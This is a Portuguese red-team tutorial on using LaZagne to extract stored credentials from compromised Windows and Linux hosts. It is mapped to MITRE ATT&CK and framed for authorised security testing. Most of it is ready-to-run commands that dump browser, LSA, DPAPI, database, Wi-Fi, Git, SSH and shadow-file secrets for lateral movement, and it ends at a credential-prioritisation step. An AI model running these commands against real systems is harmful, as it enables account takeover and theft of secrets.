Realizando Acesso a Credenciais com LaZagne

Visão Geral

LaZagne é uma ferramenta de pós-exploração de código aberto projetada para recuperar credenciais armazenadas em sistemas locais. Ele suporta Windows, Linux e macOS, com a biblioteca de módulos mais extensa para Windows. LaZagne recupera senhas de navegadores (Chrome, Firefox, Edge, Opera), clientes de e-mail (Outlook, Thunderbird), bancos de dados (PostgreSQL, MySQL, SQLite), stores do sistema (Gerenciador de Credenciais do Windows, segredos LSA, DPAPI), perfis de Wi-Fi, credenciais Git e dezenas de outros aplicativos. A ferramenta é categorizada sob MITRE ATT&CK T1555 (Credenciais de Stores de Senha) e está listada como software S0349. Equipes vermelhas usam LaZagne após obter acesso inicial para coletar credenciais armazenadas que permitem movimento lateral e escalonamento de privilégios.

Quando Usar

• Ao conduzir avaliações de segurança que envolvem a realização de acesso a credenciais com lazagne
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
• Ao realizar testes de segurança ou atividades de auditoria agendadas
• Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Implantar LaZagne em endpoints Windows, Linux ou macOS comprometidos
• Extrair credenciais de todos os stores de senha suportados
• Analisar e priorizar credenciais recuperadas para movimento lateral
• Identificar credenciais de alto valor (administrador de domínio, contas de serviço, acesso à nuvem)
• Documentar resultados de coleta de credenciais com manuseio de evidências apropriado
• Correlacionar credenciais recuperadas com caminhos de ataque do BloodHound

Mapeamento MITRE ATT&CK

• T1555 - Credenciais de Stores de Senha
• T1555.003 - Credenciais de Stores de Senha: Credenciais de Navegadores Web
• T1555.004 - Credenciais de Stores de Senha: Gerenciador de Credenciais do Windows
• T1552.001 - Credenciais Não Seguras: Credenciais em Arquivos
• T1552.002 - Credenciais Não Seguras: Credenciais no Registro
• T1003.004 - Dump de Credenciais do SO: Segredos LSA
• T1539 - Roubar Cookie de Sessão Web

Fluxo de Trabalho

Fase 1: Implantação do LaZagne

1. Transferir LaZagne para o host comprometido:

   # Pre-compiled executable (Windows)
   # Transfer lazagne.exe via C2 channel or file upload
   
   # Python version (requires Python on target)
   git clone https://github.com/AlessandroZ/LaZagne.git
   cd LaZagne
   pip install -r requirements.txt
   

2. Verificar capacidade de execução e privilégios:

   # Check current user context
   whoami /priv
   
   # LaZagne works with standard user privileges for user-level stores
   # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
   

Fase 2: Extração Completa de Credenciais (Windows)

1. Executar LaZagne com todos os módulos:

   # Extract all credentials
   lazagne.exe all
   
   # Export results to JSON
   lazagne.exe all -oJ
   
   # Export results to specific file
   lazagne.exe all -oJ -output C:\Temp\creds
   

2. Executar módulos específicos para extração direcionada:

   # Browsers only (Chrome, Firefox, Edge, Opera, IE)
   lazagne.exe browsers
   
   # Windows credential stores
   lazagne.exe windows
   
   # Database credentials
   lazagne.exe databases
   
   # Email client credentials
   lazagne.exe mails
   
   # Wi-Fi passwords
   lazagne.exe wifi
   
   # Git credentials
   lazagne.exe git
   
   # System credentials (requires elevated privileges)
   lazagne.exe sysadmin
   

Fase 3: Extração de Credenciais (Linux)

1. Executar LaZagne em alvos Linux:

   # Full extraction
   python3 laZagne.py all
   
   # Browser credentials
   python3 laZagne.py browsers
   
   # System credentials (SSH keys, shadow file with root)
   python3 laZagne.py sysadmin
   
   # Database credentials
   python3 laZagne.py databases
   
   # Git credentials
   python3 laZagne.py git
   

Fase 4: Análise e Priorização de Credenciais

1. Analisar saída JSON para credenciais únicas:

   import json
   with open("creds.json") as f:
       results = json.load(f)
   for module in results:
       for entry in module.get("results", []):
           print(f"Source: {entry.get('Category')}")
           print(f"  User: {entry.get('Login', 'N/A')}")
           print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
   

2. Priorizar credenciais por valor:

…